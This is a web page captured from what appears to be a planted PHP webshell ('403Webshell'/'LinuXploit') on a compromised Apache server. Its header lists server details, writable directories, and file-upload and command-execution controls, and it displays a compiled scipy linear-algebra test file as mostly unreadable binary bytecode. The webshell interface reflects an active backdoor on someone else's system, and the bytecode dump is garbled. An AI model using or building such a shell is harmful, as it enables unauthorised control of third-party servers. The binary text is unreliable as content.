403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/linalg/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/linalg/tests/__pycache__/test_decomp_cossin.cpython-311.pyc
�

d�c�����ddlZddlZddlmZddlmZddlmZddl	m
Z
mZddlm
Z
mZejejfZejejfZeezZej�de��ej�dgd	���ej�d
ddg��d
�������Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zej�de��d���Z dS)�N)�seed)�assert_allclose)�_compute_lwork)�ortho_group�
unitary_group)�cossin�get_lapack_funcs�dtype_zm, p, q)
)��r)�rr)r
rr)�rr)rrr)�(��)r�r)rrr)�d�2r)rrr�	swap_signTFc	��td��|tvr)tjt	j|��|���}n(tjt
j|��|���}t||||���\}}}t|||z|zd|dztj	|��j
z���|j|ksJ�|jtj|��jksJ�|j|ksJ�t|d|�d|�f|d|�|d�f||d�d|�f||d�|d�fg|���\}}}t|||z|zd|dztj	|��j
z���|j|ksJ�|jtj|��jksJ�|j|ksJ�t|||d|���\}	}
}t||
dd	tj	|��j
z���t||dd	tj	|��j
z���t|||d|�
��\}}
}	t||dd	tj	|��j
z���t||
dd	tj	|��j
z���t|||dd|���\}	}
}	t||
dd	tj	|��j
z���dS)N����dtype)r�g@�@��rtol�atolF)�	compute_ur�
)�
compute_vhr)rr r)
r�COMPLEX_DTYPES�np�arrayr�rvsrrr�finfo�epsr�real)
r
�m�p�qr�x�u�cs�vh�_�cs2�vh2�u2s
             �G/usr/lib/python3/dist-packages/scipy/linalg/tests/test_decomp_cossin.py�test_cossinr4s$�� 	��J�J�J�
�����H�]�&�q�)�)��8�8�8����H�[�_�Q�'�'�v�6�6�6���q�!�Q�!*�,�,�,�I�A�r�2��A�q�2�v��{��!�C�%����8H�8H�8L�2L�M�M�M�M��7�f�����
�8�r�w�q�z�z�'�'�'�'�'�
�8�v�������"�1�"�b�q�b�&�	�1�R�a�R����V�9�a����B�Q�B��i��1�2�2�q�r�r�6��C�!*�,�,�,�I�A�r�2��A�q�2�v��{��!�C�%����8H�8H�8L�2L�M�M�M�M��7�f�����
�8�r�w�q�z�z�'�'�'�'�'�
�8�v�������A�q�#(�#,�.�.�.�K�A�s�C��B��"�2�b�h�v�.>�.>�.B�+B�C�C�C�C��B��"�2�b�h�v�.>�.>�.B�+B�C�C�C�C���1�a�#(�"+�-�-�-�J�B��Q��A�r���B�H�V�,<�,<�,@�)@�A�A�A�A��B��"�2�b�h�v�.>�.>�.B�+B�C�C�C�C��q�!�Q�!&�"'�!*�,�,�,�I�A�s�A��B��"�2�b�h�v�.>�.>�.B�+B�C�C�C�C�C�C�c	�V�td��tjtjd��tj���}t
|dd�dd�ftj|dd�dd�ftj���|dd�dd�f|dd�dd�fg��\}}}|jtjksJ�|jtjksJ�|jtjksJ�t|||z|zddtj
tj��jz���dS)Nrrrrrg��@r)rr"r#rr$�float64r�
complex128rrr%r&)r+r,r-r.s    r3�test_cossin_mixed_typesr9Gs*����J�J�J�
�����#�#�2�:�6�6�6�A���"�1�"�b�q�b�&�	����2�A�2�q�r�r�6��"�-�@�@�@��!�"�"�b�q�b�&�	��!�"�"�a�b�b�&�	�#�$�$�I�A�r�2�

�7�b�m�#�#�#�#�
�8�r�z�!�!�!�!�
�8�r�}�$�$�$�$��A�q�2�v��{���r�x��
�6�6�:�:�<�<�<�<�<�<r5c��tjtd���5tddggd�ddggd�f��ddd��dS#1swxYwYdS)	Nz!be due to missing p, q arguments.��matchrr�r
r������	r��pytest�raises�
ValueErrorr�r5r3�%test_cossin_error_incorrect_subblocksrIVs���	��z�)L�	M�	M�	M�8�8���A��	�	�	�A�q�6�:�:�:�6�7�7�7�8�8�8�8�8�8�8�8�8�8�8�8����8�8�8�8�8�8s�A�A	�A	c�Z�tjtd���5tggggf��ddd��n#1swxYwYtjtd���5tddggddggd�f��ddd��n#1swxYwYtjtd	���5tddggd
�ggd�f��ddd��n#1swxYwYtjtd���5tddggd
�dggf��ddd��dS#1swxYwYdS)Nz
x11.*emptyr;z
x12.*emptyrrr?r@rAz
x21.*emptyr=z
x22.*emptyrDrHr5r3�!test_cossin_error_empty_subblocksrK[s7��	��z��	6�	6�	6�!�!���B��B�� � � �!�!�!�!�!�!�!�!�!�!�!����!�!�!�!�	��z��	6�	6�	6�1�1���A���Q��F�J�J�J�/�0�0�0�1�1�1�1�1�1�1�1�1�1�1����1�1�1�1�	��z��	6�	6�	6�4�4���A��	�	�	�2�z�z�z�2�3�3�3�4�4�4�4�4�4�4�4�4�4�4����4�4�4�4�	��z��	6�	6�	6�-�-���A��	�	�	�A�3��+�,�,�,�-�-�-�-�-�-�-�-�-�-�-�-����-�-�-�-�-�-sE�<�A�A�"B�B�B�.C�C�C�:D � D$�'D$c�X�tjtd���5tt	jd����ddd��n#1swxYwYtjtd���5tt	jd����ddd��dS#1swxYwYdS)Nz.*exactly four arrays.* got 2r;rz.*might be due to missing p, qr)rErFrGrrr$rHr5r3�&test_cossin_error_missing_partitioningrMfs��	��z�)H�	I�	I�	I�%�%��}� ��#�#�$�$�$�%�%�%�%�%�%�%�%�%�%�%����%�%�%�%�
��z�)I�	J�	J�	J�%�%��}� ��#�#�$�$�$�%�%�%�%�%�%�%�%�%�%�%�%����%�%�%�%�%�%s#�"A
�
A�A�0"B�B#�&B#c��tjtd���5td��ddd��dS#1swxYwYdS)Nzcontaining the subblocks of Xr;y(@rDrHr5r3�test_cossin_error_non_iterablerOns���	��z�)H�	I�	I�	I����s������������������������s
�9�=�=c��tjtd���5tt	jddgg��dd��ddd��dS#1swxYwYdS)Nzonly supports squarer;rr)rErFrGrr"r#rHr5r3�test_cossin_error_non_squarerQss���	��z�)?�	@�	@�	@�)�)��r�x�!�Q���!�!�1�a�(�(�(�)�)�)�)�)�)�)�)�)�)�)�)����)�)�)�)�)�)s�'A�A�Ac��tjtjd��tj���}tjtd���5t|dd��ddd��n#1swxYwYtjtd���5t|dd��ddd��n#1swxYwYtjtd���5t|dd	��ddd��n#1swxYwYtjtd
���5t|dd��ddd��dS#1swxYwYdS)Nrrzinvalid p=0.*0<p<4.*r;rrzinvalid p=4.*0<p<4.*zinvalid q=-2.*0<q<4.*���zinvalid q=5.*0<q<4.*r>)	r"r#rr$r7rErFrGr)r+s r3�test_cossin_error_partitioningrTws��
�����#�#�2�:�6�6�6�A�	��z�)?�	@�	@�	@����q�!�Q����������������������	��z�)?�	@�	@�	@����q�!�Q����������������������	��z�)@�	A�	A�	A����q�!�R����������������������	��z�)?�	@�	@�	@����q�!�Q������������������������sH�A,�,A0�3A0�B0�0B4�7B4�C4�4C8�;C8�D9�9D=�D=c	��td��d\}}}|tvrdnd}|dkrtj|��nt	j|��}tj||���}t|dz|dzf|g��\}}t||||��}|dkrd|inttdd	g|����}	||d|�d|�f|d|�|d�f||d�d|�f||d�|d�ffi|	���^}
}}}
}}}
t|||d
���\\}}}\}}t||dd
tj
|��jz���t||
dd
tj
|��jz���t||dd
tj
|��jz���t||dd
tj
|��jz���t||dd
tj
|��jz���dS)Nr)��P��or�unr�csd�	csd_lwork�lwork�lrworkT)�separaterrr)r�REAL_DTYPESrr$rr"r#r	r�dict�ziprrr%r&)r
r(r)r*�pfx�X�drv�dlw�lwval�lwvalsr/�theta�u1r2�v1t�v2t�u1_2�u2_2�theta2�v1t_2�v2t_2s                     r3�test_cossin_separaterr�sE����J�J�J��G�A�q�!��K�'�'�$�$�T�C�!�T�k�k�������}�/@��/C�/C�A�
���&�!�!�!�A���u��c�K�.?� @�!��E�E�H�C���3��1�a�(�(�E�!$����g�u�
�
�$�s�G�<D�<F�;@�8B�8B�3C�3C�F�
	��A�b�q�b�"�1�"�f�I�q��!��Q�R�R��y�!�A�B�B����F�)�Q�q�r�r�1�2�2�v�Y�A�A�&�A�A�#�Q��r�2�s�C��,2�!�Q��D�+I�+I�+I�(�L�T�4�&�.�5�%��D�"�2�B�r�x��/?�/?�/C�,C�D�D�D�D��D�"�2�B�r�x��/?�/?�/C�,C�D�D�D�D��E�3�R�b���&�1A�1A�1E�.E�F�F�F�F��E�3�R�b���&�1A�1A�1E�.E�F�F�F�F��F�E���B�H�V�4D�4D�4H�1H�I�I�I�I�I�Ir5)!rE�numpyr"�numpy.randomr�
numpy.testingr�scipy.linalg.lapackr�scipy.statsrr�scipy.linalgrr	�float32r7r`�	complex64r8r!�DTYPES�mark�parametrizer4r9rIrKrMrOrQrTrrrHr5r3�<module>r~s���
�
�
�
�����������)�)�)�)�)�)�.�.�.�.�.�.�2�2�2�2�2�2�2�2�1�1�1�1�1�1�1�1��z�2�:�&���,��
�.��	�~�	%�������6�*�*����������������t�U�m�4�4�&D�&D�5�4���+�*�&D�R<�<�<�8�8�8�
-�-�-�%�%�%����
)�)�)�	�	�	������6�*�*�J�J�+�*�J�J�Jr5

Youez - 2016 - github.com/yon3zu
LinuXploit